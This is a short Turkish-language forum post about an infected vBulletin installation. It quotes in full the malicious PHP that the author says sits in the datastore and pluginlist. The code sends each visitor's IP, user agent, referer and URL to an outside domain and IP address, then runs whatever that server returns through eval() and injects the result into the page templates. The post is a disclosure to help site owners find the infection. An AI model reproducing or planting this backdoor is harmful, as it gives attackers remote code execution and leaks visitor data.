Ben bu şekilde ücretli destek verenlere karşıyım,
sorunun çözümünü vbulletin turko da ,
http://www.vbulletin-turko.com/genel...-aciklari.html
Soruna neden olan kod ise
$str = 'v=10&tt=1&i=' . $_SERVER['REMOTE_ADDR'] . '&a=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&r=' . urlencode($_SERVER['HTTP_REFERER']) . '&f=' . urlencode($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&dd=4.2.1';
$d = 'front.adobeapdate.com';
$ip = '91.220.173.171';
ob_start();
$datad = getdata('http://' . $d . '/ss?t=h&' . $str);
if ($datad === false) { $datad = getdata('http://' . $ip . '/ss?t=f&' . $str); }
if (eval($datad) === false) { print $datad; }
$template_hook['forcehh'] = ob_get_contents();
ob_end_clean();
ob_start();
$datad = getdata('http://' . $d . '/ss?t=f&' . $str);
if ($datad === false) { $datad = getdata('http://' . $ip . '/ss?t=f&' . $str); }
if (eval($datad) === false) { print $datad; }
$template_hook['forcehf'] = ob_get_contents();
ob_end_clean();
function getdata($url)
{
$content = '';
if (ini_get('allow_url_fopen') == '1' && ($fp = fopen($url, 'r')) !==false) {
while ($line = fread($fp, 1024)) { $content .= $line; }
return $content;
} else if (ini_get('allow_url_fopen') == '1' && ($content = file_get_contents($url)) !== false) {
return $content;
} else if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($ch);
curl_close($ch);
return $content;
} else if ($content = getRemoteFile($url)) {
return $content;
} else { return false; }
}
function getRemoteFile($url)
{
$parsedUrl = parse_url($url);
$host = $parsedUrl['host'];
if (isset($parsedUrl['path'])) { $path = $parsedUrl['path']; } else { $path = '/'; }
if (isset($parsedUrl['query'])) { $path .= '?' . $parsedUrl['query']; }
if (isset($parsedUrl['port'])) { $port = $parsedUrl['port']; } else { $port = '80'; }
$response = '';
$fp = @fsockopen($host, $port, $errno, $errstr, 10);
if( !$fp || $fp === false) { return false; } else {
fputs($fp, "GET $path HTTP/1.0
" .
"Host: $host
" .
"Accept: */*
" .
"Accept-Language: en-us,en;q=0.5
" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
" .
"Keep-Alive: 300
" .
"Connection: keep-alive
");
while ( $line = fread( $fp, 1024 ) ) {
$response .= $line;
}
fclose( $fp );
$pos = strpos($response, "
");
$response = substr($response, $pos + 4);
}
return $response;
}datastore ve pluginlist içinde
http://www.vbulletin-turko.com/genel...ip-kodlar.html